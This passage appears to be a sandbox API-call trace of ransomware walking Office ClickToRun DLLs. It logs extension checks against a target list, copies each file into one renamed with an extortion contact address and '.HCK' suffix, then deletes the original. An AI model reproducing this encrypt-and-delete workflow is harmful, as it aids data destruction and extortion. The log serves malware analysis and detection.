lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0160.561] lstrlenW (lpString=".pdf") returned 4 [0160.561] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString=".xls") returned 4 [0160.561] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString=".xlsx") returned 5 [0160.561] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0160.561] lstrlenW (lpString=".ppt") returned 4 [0160.561] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".zip") returned 4 [0160.561] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString=".rar") returned 4 [0160.561] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString=".bz2") returned 4 [0160.561] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.561] lstrlenW (lpString=".7z") returned 3 [0160.561] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".dbf") returned 4 [0160.561] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".1cd") returned 4 [0160.561] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".jpg") returned 4 [0160.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".doc") returned 4 [0160.561] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString=".docx") returned 5 [0160.562] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0160.562] lstrlenW (lpString=".pdf") returned 4 [0160.562] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString=".xls") returned 4 [0160.562] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString=".xlsx") returned 5 [0160.562] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0160.562] lstrlenW (lpString=".ppt") returned 4 [0160.562] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.562] lstrlenW (lpString=".zip") returned 4 [0160.562] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString=".rar") returned 4 [0160.562] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.562] lstrlenW (lpString=".bz2") returned 4 [0160.562] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.562] lstrlenW (lpString=".7z") returned 3 [0160.562] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.562] lstrlenW (lpString=".dbf") returned 4 [0160.562] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.562] lstrlenW (lpString=".1cd") returned 4 [0160.562] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.562] lstrlenW (lpString=".jpg") returned 4 [0160.562] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.562] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0160.562] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0160.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0160.562] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1402584) returned 1 [0160.562] CloseHandle (hObject=0x2e8) returned 1 [0160.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0160.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0160.563] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.563] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0160.563] GetLastError () returned 0x0 [0160.563] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0160.992] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0161.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x566e8, lpOverlapped=0x0) returned 1 [0161.054] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x566f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x566f0, lpOverlapped=0x0) returned 1 [0161.060] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.060] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x110, lpOverlapped=0x0) returned 1 [0161.060] SetEndOfFile (hFile=0x398) returned 1 [0161.060] CloseHandle (hObject=0x398) returned 1 [0161.379] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.380] SetEndOfFile (hFile=0x2e8) returned 1 [0161.382] CloseHandle (hObject=0x2e8) returned 1 [0161.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".doc") returned 4 [0161.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".docx") returned 5 [0161.383] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0161.383] lstrlenW (lpString=".pdf") returned 4 [0161.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".xls") returned 4 [0161.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".xlsx") returned 5 [0161.383] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0161.383] lstrlenW (lpString=".ppt") returned 4 [0161.383] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".zip") returned 4 [0161.383] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".rar") returned 4 [0161.383] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".bz2") returned 4 [0161.383] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.383] lstrlenW (lpString=".7z") returned 3 [0161.383] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".dbf") returned 4 [0161.383] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".1cd") returned 4 [0161.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".jpg") returned 4 [0161.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.383] lstrlenW (lpString=".doc") returned 4 [0161.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".docx") returned 5 [0161.383] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0161.383] lstrlenW (lpString=".pdf") returned 4 [0161.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".xls") returned 4 [0161.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.383] lstrlenW (lpString=".xlsx") returned 5 [0161.384] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0161.384] lstrlenW (lpString=".ppt") returned 4 [0161.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.384] lstrlenW (lpString=".zip") returned 4 [0161.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.384] lstrlenW (lpString=".rar") returned 4 [0161.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.384] lstrlenW (lpString=".bz2") returned 4 [0161.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.384] lstrlenW (lpString=".7z") returned 3 [0161.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.384] lstrlenW (lpString=".dbf") returned 4 [0161.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.384] lstrlenW (lpString=".1cd") returned 4 [0161.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0161.384] lstrlenW (lpString=".jpg") returned 4 [0161.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.384] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.384] lstrlenW (lpString="AppVManifest.dll") returned 16 [0161.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0161.384] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1231576) returned 1 [0161.384] CloseHandle (hObject=0x2e8) returned 1 [0161.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0161.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0161.385] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.385] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.385] GetLastError () returned 0x0 [0161.385] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0161.406] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0161.851] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x2cae8, lpOverlapped=0x0) returned 1 [0161.859] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x2caf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2caf0, lpOverlapped=0x0) returned 1 [0161.864] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.864] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0161.864] SetEndOfFile (hFile=0x398) returned 1 [0161.864] CloseHandle (hObject=0x398) returned 1 [0162.248] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.248] SetEndOfFile (hFile=0x2e8) returned 1 [0162.269] CloseHandle (hObject=0x2e8) returned 1 [0162.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 1 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString=".doc") returned 4 [0162.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString=".docx") returned 5 [0162.271] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0162.271] lstrlenW (lpString=".pdf") returned 4 [0162.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString=".xls") returned 4 [0162.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString=".xlsx") returned 5 [0162.271] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0162.271] lstrlenW (lpString=".ppt") returned 4 [0162.271] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString=".zip") returned 4 [0162.271] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString=".rar") returned 4 [0162.271] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.271] lstrlenW (lpString=".bz2") returned 4 [0162.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.271] lstrlenW (lpString=".7z") returned 3 [0162.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString=".dbf") returned 4 [0162.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString=".1cd") returned 4 [0162.271] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.271] lstrlenW (lpString=".jpg") returned 4 [0162.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString=".doc") returned 4 [0162.272] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString=".docx") returned 5 [0162.272] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0162.272] lstrlenW (lpString=".pdf") returned 4 [0162.272] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString=".xls") returned 4 [0162.272] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString=".xlsx") returned 5 [0162.272] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0162.272] lstrlenW (lpString=".ppt") returned 4 [0162.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString=".zip") returned 4 [0162.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString=".rar") returned 4 [0162.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.272] lstrlenW (lpString=".bz2") returned 4 [0162.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.272] lstrlenW (lpString=".7z") returned 3 [0162.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString=".dbf") returned 4 [0162.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString=".1cd") returned 4 [0162.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0162.272] lstrlenW (lpString=".jpg") returned 4 [0162.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.273] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0162.273] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0162.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.274] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=902328) returned 1 [0162.274] CloseHandle (hObject=0x2e8) returned 1 [0162.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0162.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0162.274] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.274] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.275] GetLastError () returned 0x0 [0162.275] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0162.292] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0162.303] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.303] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf2, lpOverlapped=0x0) returned 1 [0162.303] SetEndOfFile (hFile=0x398) returned 1 [0162.304] CloseHandle (hObject=0x398) returned 1 [0162.795] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.795] SetEndOfFile (hFile=0x2e8) returned 1 [0162.821] CloseHandle (hObject=0x2e8) returned 1 [0162.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 